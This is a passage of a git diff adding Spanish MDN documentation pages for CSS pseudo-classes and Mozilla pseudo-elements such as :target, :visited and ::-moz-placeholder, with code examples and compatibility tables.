+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:root</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> selecciona el elemento raíz de un árbol que representa el documento. En HTML, <code>:root</code> representa el elemento {{HTMLElement("html")}} y es idéntico al selector <code>html</code>, excepto que su <a href="/es/docs/Web/CSS/Specificity">especificidad</a> es mayor.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona el elemento raíz del documento:
+   &lt;html&gt; en el caso de HTML */
+:root {
+  background: yellow;
+}</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p><code>:root</code> puede ser útil para declarar <a href="/es/docs/Web/CSS/Using_CSS_variables">variables CSS</a> globales:</p>
+
+<pre class="brush: css">:root {
+  --main-color: hotpink;
+  --pane-padding: 5px 42px;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#root-pseudo', ':root')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#root-pseudo', ':root')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.selectors.root")}}</p>
diff --git a/files/es/web/css/_colon_target/index.html b/files/es/web/css/_colon_target/index.html
new file mode 100644
index 0000000000..bb426f225d
--- /dev/null
+++ b/files/es/web/css/_colon_target/index.html
@@ -0,0 +1,214 @@
+---
+title: ':target'
+slug: 'Web/CSS/:target'
+tags:
+  - CSS
+  - Layout
+  - Pseudo clase CSS
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:target'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:target</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa un elemento único (el <em>elemento objetivo</em>) con un {{htmlattrxref("id")}} que coincide con el fragmento de la URL.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona un elemento con una ID que coincida con el fragmento de la URL actual */
+:target {
+  border: 2px solid black;
+}</pre>
+
+<p>Por ejemplo, la siguiente URL tiene un fragmento (indicado por el signo #) que apunta a un elemento llamado <code>section2</code>:</p>
+
+<pre>http://www.example.com/index.html#section2</pre>
+
+<p>El siguiente elemento sería seleccionado por un selector <code>:target</code> cuando la URL actual sea igual a la anterior:</p>
+
+<pre class="brush: html">&lt;section id="section2"&gt;Ejemplo&lt;/section&gt;</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Una_tabla_de_contenido">Una tabla de contenido</h3>
+
+<p>La pseudo-clase <code>:target</code> se puede usar para resaltar la parte de una página a la que se ha vinculado desde una tabla de contenido.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h3&gt;Tabla de contenido&lt;/h3&gt;
+&lt;ol&gt;
+ &lt;li&gt;&lt;a href="#p1"&gt;¡Salta al primer párrafo!&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="#p2"&gt;¡Salta al segundo párrafo!&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="#nowhere"&gt;Este enlace no va a ninguna parte,
+   porque el objetivo no existe.&lt;/a&gt;&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;h3&gt;Mi artículo divertido&lt;/h3&gt;
+&lt;p id="p1"&gt;Puede orientar elegir como blanco &lt;i&gt;este párrafo&lt;/i&gt; utilizando un
+  fragmento de URL. ¡Haz clic en el enlace de arriba para probar!&lt;/p&gt;
+&lt;p id="p2"&gt;Este es &lt;i&gt;otro párrafo&lt;/i&gt;, también accesible
+  desde los enlaces de arriba. ¿No es encantador?&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p:target {
+  background-color: gold;
+}
+
+/* Agrega un pseudo-elemento dentro del elemento de destino */
+p:target::before {
+  font: 70% sans-serif;
+  content: "►";
+  color: limegreen;
+  margin-right: .25em;
+}
+
+/* Estilo de elementos en cursiva dentro del elemento de destino */
+p:target i {
+  color: red;
+}</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Una_tabla_de_contenido', 500, 300)}}</p>
+
+<h3 id="CSS-Puro_lightbox">CSS-Puro lightbox</h3>
+
+<p>Puede usar la pseudo-clase <code>:target</code> para crear un lightbox sin usar JavaScript. Esta técnica se basa en la capacidad de los enlaces de anclaje para señalar elementos que están inicialmente ocultos en la página. Una vez segmentado, el CSS cambia su <code>display</code> para que se muestren.</p>
+
+<div class="note"><strong>Nota:</strong> Un CSS-Puro lightbox más completo basado en la pseudoclase <code>:target</code> está <a href="https://github.com/madmurphy/takefive.css/">disponible en GitHub</a> (<a href="https://madmurphy.github.io/takefive.css/">demo</a>).</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="#ejemplo1"&gt;Abrir ejemplo #1&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="#ejemplo2"&gt;Abrir ejemplo #2&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;div class="lightbox" id="ejemplo1"&gt;
+  &lt;figure&gt;
+    &lt;a href="#" class="close"&gt;&lt;/a&gt;
+    &lt;figcaption&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+      Donec felis enim, placerat id eleifend eu, semper vel sem.&lt;/figcaption&gt;
+  &lt;/figure&gt;
+&lt;/div&gt;
+
+&lt;div class="lightbox" id="ejemplo2"&gt;
+  &lt;figure&gt;
+    &lt;a href="#" class="close"&gt;&lt;/a&gt;
+    &lt;figcaption&gt;Cras risus odio, pharetra nec ultricies et,
+      mollis ac augue. Nunc et diam quis sapien dignissim auctor.
+      Quisque quis neque arcu, nec gravida magna.&lt;/figcaption&gt;
+  &lt;/figure&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">/* lightbox sin abrir */
+.lightbox {
+  display: none;
+}
+
+/* lightbox abierto */
+.lightbox:target {
+  position: absolute;
+  left: 0;
+  top: 0;
+  width: 100%;
+  height: 100%;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+/* Contenido de Lightbox */
+.lightbox figcaption {
+  width: 25rem;
+  position: relative;
+  padding: 1.5em;
+  background-color: lightpink;
+}
+
+/* Botón Cerrar */
+.lightbox .close {
+  position: relative;
+  display: block;
+}
+
+.lightbox .close::after {
+  right: -1rem;
+  top: -1rem;
+  width: 2rem;
+  height: 2rem;
+  position: absolute;
+  display: flex;
+  z-index: 1;
+  align-items: center;
+  justify-content: center;
+  background-color: black;
+  border-radius: 50%;
+  color: white;
+  content: "×";
+  cursor: pointer;
+}
+
+/* superposición Lightbox */
+.lightbox .close::before {
+  left: 0;
+  top: 0;
+  width: 100%;
+  height: 100%;
+  position: fixed;
+  background-color: rgba(0,0,0,.7);
+  content: "";
+  cursor: default;
+}</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample('CSS-Puro_lightbox', 500, 220)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "browsers.html#selector-target", ":target")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Define la semántica específica de HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-target-pseudo", ":target")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#target-pseudo", ":target")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.target")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Using_the_:target_selector">Usando la pseudoclase :target en selectores</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_valid/index.html b/files/es/web/css/_colon_valid/index.html
new file mode 100644
index 0000000000..047421e43a
--- /dev/null
+++ b/files/es/web/css/_colon_valid/index.html
@@ -0,0 +1,83 @@
+---
+title: ':valid'
+slug: 'Web/CSS/:valid'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:valid'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:valid</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa cualquier elemento {{HTMLElement("input")}} u otro elemento {{HTMLElement("form")}} cuyo contenido se <a href="/es/docs/Web/Guide/HTML/HTML5/Constraint_validation">valide</a> satisfactoriamente. Esto permite que los campos válidos adopten fácilmente una apariencia que ayuda al usuario a confirmar que sus datos están formateados correctamente.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;input&gt; válido */
+input:valid {
+  background-color: powderblue;
+}</pre>
+
+<p>Esta pseudo-clase es útil para resaltar los campos correctos para el usuario.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Ver {{cssxref(":invalid")}} para un ejemplo.</p>
+
+<h2 id="Problemas_de_accesibilidad">Problemas de accesibilidad</h2>
+
+<p>El color verde se usa comúnmente para indicar una entrada válida. Las personas que tienen ciertos tipos de daltonismo no podrán determinar el estado de la entrada a menos que vaya acompañado de un indicador adicional que no dependa del color para transmitir el significado. Normalmente, se utilizan texto descriptivo y / o un icono.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Comprensión de las WCAG, explicaciones de la Guía 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-without-color.html">Comprender el Criterio de Conformidad 1.4.1 | W3C Comprender WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-valid', ':valid')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-valid', ':valid')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Define la semántica de HTML y la validación de restricciones.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#validity-pseudos', ':valid')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td><br>
+    Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.valid")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Otras pseudo-clases relacionadas con la validación: {{ cssxref(":required") }}, {{ cssxref(":optional") }}, {{ cssxref(":invalid") }}</li>
+ <li><a href="/es/docs/Learn/HTML/Forms/Form_validation">Validación de datos de formulario</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_visited/index.html b/files/es/web/css/_colon_visited/index.html
new file mode 100644
index 0000000000..3fa81d8ddc
--- /dev/null
+++ b/files/es/web/css/_colon_visited/index.html
@@ -0,0 +1,120 @@
+---
+title: ':visited'
+slug: 'Web/CSS/:visited'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:visited'
+---
+<div>{{ CSSRef }}</div>
+
+<p>La <a href="/es/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-clase</a> <strong><code>:visited</code></strong> de <a href="/es/docs/Web/CSS">CSS</a>  representa enlaces que el usuario ya ha visitado. Por motivos de privacidad, los estilos que se pueden modificar con este selector son muy limitados.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;a&gt; que ha sido visitado */
+a:visited {
+  color: green;
+}</pre>
+
+<p>Los estilos definidos por la pseudo-clase <code>:visited</code> serán anulados por cualquier pseudo-clase posterior relacionada con el enlace ({{cssxref(":link")}}, {{cssxref(":hover")}} o {{cssxref(":active")}}) que tenga al menos la misma especificidad. Para darle un estilo apropiado a los enlaces, coloque la regla <code>:visited</code> después de la regla <code>:link</code> pero antes de las reglas <code>:hover</code> y <code>:active</code>, según lo definido por el orden LVHA: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p>
+
+<h2 id="Restricciones_de_estilo">Restricciones de estilo</h2>
+
+<p>Por motivos de privacidad, los navegadores limitan estrictamente los estilos que puede aplicar utilizando esta pseudo-clase y cómo se pueden usar:</p>
+
+<ul>
+ <li>Las propiedades CSS permitidas son {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("column-rule-color") }}, y {{ cssxref("outline-color") }}.</li>
+ <li>Los atributos SVG permitidos son {{SVGAttr("fill")}} y {{SVGAttr("stroke")}}.</li>
+ <li>El componente alfa de los estilos permitidos será ignorado. En su lugar, se utilizará el componente alfa del estado non-<code>:visited</code> del elemento, excepto cuando ese componente sea 0, en cuyo caso el estilo establecido en <code>:visited</code> se ignorará por completo.</li>
+ <li>Aunque estos estilos pueden cambiar la apariencia de los colores para el usuario final, el método {{domxref("window.getComputedStyle")}} mentirá y siempre devolverá el valor del color non-<code>:visited</code>. </li>
+</ul>
+
+<div class="note">
+<p><strong>Nota:</strong> Para obtener más información sobre estas limitaciones y las razones detrás de ellas, vea <a href="/es/docs/CSS/Privacy_and_the_:visited_selector" title="/en-US/docs/CSS/Privacy_and_the_:visited_selector">Privacidad y el selector :visited</a>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Las propiedades que de otro modo no tendrían ningún color o serían transparentes no se pueden modificar con <code>:visited</code>. De las propiedades que se pueden establecer con esta pseudo-clase, su navegador probablemente solo tenga un valor predeterminado para <code>color</code> y <code>column-rule-color</code>. Por lo tanto, si desea modificar las otras propiedades, deberá darles un valor base fuera del selector <code>:visited</code>.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#test-visited-link"&gt;¿Ya has visitado este enlace?&lt;/a&gt;&lt;br&gt;
+&lt;a href=""&gt;Ya has visitado este enlace.&lt;/a&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a {
+  /* Especifique los valores predeterminados no transparentes a ciertas propiedades,
+     lo que les permite ser diseñado con el estado :visited */
+  background-color: white;
+  border: 1px solid white;
+}
+
+a:visited {
+  background-color: yellow;
+  border-color: hotpink;
+  color: hotpink;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplo")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-visited', ':visited') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#link', ':visited') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#link', ':visited') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':visited') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Levanta la restricción para aplicar  <code>:visited</code> solo al elemento {{ HTMLElement("a") }}. Permite a los navegadores restringir su comportamiento por razones de privacidad.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#anchor-pseudo-classes', ':visited') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.selectors.visited")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/CSS/Privacy_and_the_:visited_selector" title="/en-US/docs/CSS/Privacy_and_the_:visited_selector">Privacidad y el selector :visited</a></li>
+ <li>pseudo-clases relacionadas con enlaces: {{cssxref(":link")}}, {{cssxref(":active")}}, {{cssxref(":hover")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-moz-color-swatch/index.html b/files/es/web/css/_doublecolon_-moz-color-swatch/index.html
new file mode 100644
index 0000000000..3edb2edc5b
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-moz-color-swatch/index.html
@@ -0,0 +1,56 @@
+---
+title: '::-moz-color-swatch'
+slug: 'Web/CSS/::-moz-color-swatch'
+translation_of: 'Web/CSS/::-moz-color-swatch'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>El <strong><code>::-moz-color-swatch</code></strong> <a href="/en-US/docs/Web/CSS">pdseudo-elemento CSS</a> es una<a href="/en-US/docs/Web/CSS/Mozilla_Extensions"> extension de Mozilla</a> que representa el color seleccionado en un {{HTMLElement("input")}} de <code>type="color"</code>.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Usando <code>::-moz-color-swatch</code> con cualquier cosa excepto <code>&lt;input type="color"&gt;</code> no concuerda con nada y no tiene efecto.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="color" value="#de2020" /&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type=color]::-moz-color-swatch {
+  border-radius: 10px;
+  border-style: none;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Example", 300, 50)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificacion. Es un pseudo-elemento patentado específicamente para Gecko.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.selectors.-moz-color-swatch")}}</p>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li>Pseudo-elementos similares usados por otros buscadores:
+  <ul>
+   <li>{{cssxref("::-webkit-color-swatch")}}, pseudo-elemento soportado por WebKit y Blink (Safari, Chrome, and Opera)</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-moz-page-sequence/index.html b/files/es/web/css/_doublecolon_-moz-page-sequence/index.html
new file mode 100644
index 0000000000..33ee3c2706
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-moz-page-sequence/index.html
@@ -0,0 +1,82 @@
+---
+title: '::-moz-page-sequence'
+slug: 'Web/CSS/::-moz-page-sequence'
+tags:
+  - CSS
+  - NeedsBrowserCompatibility
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia CSS
+translation_of: 'Web/CSS/::-moz-page-sequence'
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El  <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento  </a><a href="/es/docs/Web/CSS">CSS </a><code>::-moz-page-sequence</code> sirve para representar el fondo de la previsualización de impresión.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Necesita un eejemplo</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("::-moz-page")}}</li>
+ <li>{{cssxref("::-moz-scrolled-page-sequence")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-moz-page/index.html b/files/es/web/css/_doublecolon_-moz-page/index.html
new file mode 100644
index 0000000000..5e6d7d7ffa
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-moz-page/index.html
@@ -0,0 +1,27 @@
+---
+title: '::-moz-page'
+slug: 'Web/CSS/::-moz-page'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsE
+  - No estándar(2)
+  - Referencia CSS
+translation_of: 'Web/CSS/::-moz-page'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a><code> CSS ::-moz-page</code> se aplica a una página individual que va a ser impresa o que está en previsualización para impresión.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("::-moz-page-sequence")}}</li>
+ <li>{{cssxref("::-moz-scrolled-page-sequence")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-moz-placeholder/index.html b/files/es/web/css/_doublecolon_-moz-placeholder/index.html
new file mode 100644
index 0000000000..efe8d9c509
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-moz-placeholder/index.html
@@ -0,0 +1,108 @@
+---
+title: '::-moz-placeholder'
+slug: 'Web/CSS/::-moz-placeholder'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento CSS
+  - Referencia CSS
+translation_of: 'Web/CSS/::placeholder'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<div class="note"><strong>Nota:</strong> El pseudo-elemento <code>::-moz-placeholder</code> fue creado como sustituto de la pseudo-clase {{cssxref(':-moz-placeholder')}} que fue depreciada a partir de la versión de 19 de Firefox.</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El  <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a><code>::-moz-placeholder</code> sirve para seleccionar cualquier elemento de un formulario que esté mostrando un  <a href="/es/docs/Web/HTML/Forms_in_HTML#The_placeholder_attribute">marcador de posición de texto (placeholder text) </a>. Permite a los desarrolladores web y a los diseñadores de tema personalizar la apariencia de estos elementos, cuyo estilo por defecto es de color gris claro. Puede que no funcione correctamente si se cambia el color de fondo de los campos de los formularios para que sean, por ejemplo, de un color similar, así que en ese caso se puede usar este pseudo-elemento para cambiar el color del marcador de posición de texto (placeholder text).</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este ejemplo se da estilo al marcador de posición del texto (placeholder text) haciendo que el color del texto sea verde (green).</p>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush:html">&lt;input id="test" placeholder="Placeholder text!"&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush:css">input::-moz-placeholder {
+  color: green;
+}
+</pre>
+
+<p>Obtendremos el siguiente resultado:</p>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("19.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("19.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox aplica un estilo por defecto de  <code>{{cssxref("opacity")}}: 0.54</code> al marcador de posición del texto (placeholder). Ver {{Bug("556145")}}. La mayoría de los demás navegadores importante no comparten este estilo ni para el pseudo-elemento ni para la pseudo-clase.</p>
+
+<p>La implementación previa en el motor Gecko era como la pseudo-clase  {{cssxref(":-moz-placeholder")}}. Ver {{Bug("737786")}}.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("::placeholder")}}</li>
+ <li>{{cssxref("::-webkit-input-placeholder")}}</li>
+ <li>{{cssxref(":-ms-input-placeholder")}}</li>
+ <li><a href="/es/docs/Web/HTML/Forms_in_HTML">Formularios en HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-moz-progress-bar/index.html b/files/es/web/css/_doublecolon_-moz-progress-bar/index.html
new file mode 100644
index 0000000000..0d3cd4d002
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-moz-progress-bar/index.html
@@ -0,0 +1,55 @@
+---
+title: '::-moz-progress-bar'
+slug: 'Web/CSS/::-moz-progress-bar'
+tags:
+  - CSS
+  - 'CSS: Extensiones Mozilla'
+  - NeedsCompatTable
+  - No estandar
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::-moz-progress-bar'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a> <strong><code>::-moz-progress-bar</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> es una <a href="/es/docs/Web/CSS/Mozilla_Extensions">extensión de Mozilla</a> que representa la barra de progreso dentro de un elemento {{HTMLElement("progress")}}. (La barra representa la cantidad de progreso que se ha realizado).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
